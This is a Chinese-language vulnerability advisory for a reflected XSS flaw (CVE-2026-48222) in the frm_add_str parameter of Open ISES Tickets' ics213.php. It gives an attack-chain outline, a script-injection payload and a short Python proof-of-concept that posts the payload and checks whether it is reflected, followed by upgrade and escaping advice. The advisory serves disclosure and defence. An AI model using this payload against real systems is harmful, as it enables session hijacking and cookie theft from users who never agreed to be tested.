CVE-2026-48222 CVSS 5.4 中危

CVE-2026-48222: Open ISES Tickets 反射型XSS漏洞

披露日期: 2026-05-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-48222

漏洞类型

反射型跨站脚本 (Reflected XSS)

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Open ISES Tickets

漏洞概述

Open ISES Tickets 3.44.2之前的版本存在反射型跨站脚本漏洞。由于ics213.php未对frm_add_str POST参数进行充分过滤，攻击者可注入任意JavaScript代码到HTML表单隐藏值中。诱导已认证用户触发请求后，恶意脚本将在受害者浏览器执行，从而窃取敏感数据。

技术细节

该漏洞属于典型的反射型XSS，核心问题在于Open ISES Tickets的ics213.php接口直接将用户输入通过frm_add_str参数传递至HTML响应流中的隐藏input标签value属性，且未进行HTML实体转义。攻击者只需具备低权限账户，即可构造包含恶意载荷（如`"><script>alert(1)</script>`）的POST请求。当受害者访问该链接或提交表单时，服务器返回包含恶意代码的页面。浏览器解析HTML时，由于未对特殊字符进行编码，攻击者注入的脚本将被执行。这使得攻击者能够绕过同源策略限制，在受害者会话上下文中执行操作，窃取Cookie、会话令牌或进行钓鱼攻击。尽管需要用户交互，但在社交工程的辅助下，该漏洞具有较高的利用价值。

攻击链分析

STEP 1

侦察

攻击者识别目标运行的是Open ISES Tickets 3.44.2之前的版本。

STEP 2

载荷构建

攻击者构造包含恶意JavaScript的POST数据包，针对ics213.php的frm_add_str参数，利用未过滤的输入点闭合HTML属性并插入脚本。

STEP 3

传递攻击

攻击者通过钓鱼邮件或其他社会工程学手段，诱导已认证的管理员或用户点击恶意链接或提交特制表单。

STEP 4

代码执行

服务器接收请求并将未净化的数据反射回HTML页面，受害者的浏览器解析并执行恶意脚本，导致Cookie窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL where the vulnerability exists
url = "http://target.com/ics213.php"

# Payload to inject JavaScript into the hidden input value
# The payload closes the value attribute and injects a script tag
payload = '"><script>alert("CVE-2026-48222 PoC");</script>'

# Data to be sent via POST request
data = {
    "frm_add_str": payload
}

try:
    # Sending the POST request
    response = requests.post(url, data=data)

    # Checking if the payload is reflected in the response
    if payload in response.text:
        print("[+] Vulnerability confirmed! XSS payload is reflected in the response.")
    else:
        print("[-] Vulnerability not confirmed or payload was sanitized.")

except requests.exceptions.RequestException as e:
    print(f"Error: {e}")

影响范围

Open ISES Tickets < 3.44.2

防御指南

临时缓解措施

建议立即升级到3.44.2及以上版本。若无法立即升级，应在ics213.php的代码逻辑中对输出到HTML属性的数据进行转义处理，例如使用htmlspecialchars函数，并部署Web应用防火墙（WAF）规则以拦截常见的XSS攻击载荷。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表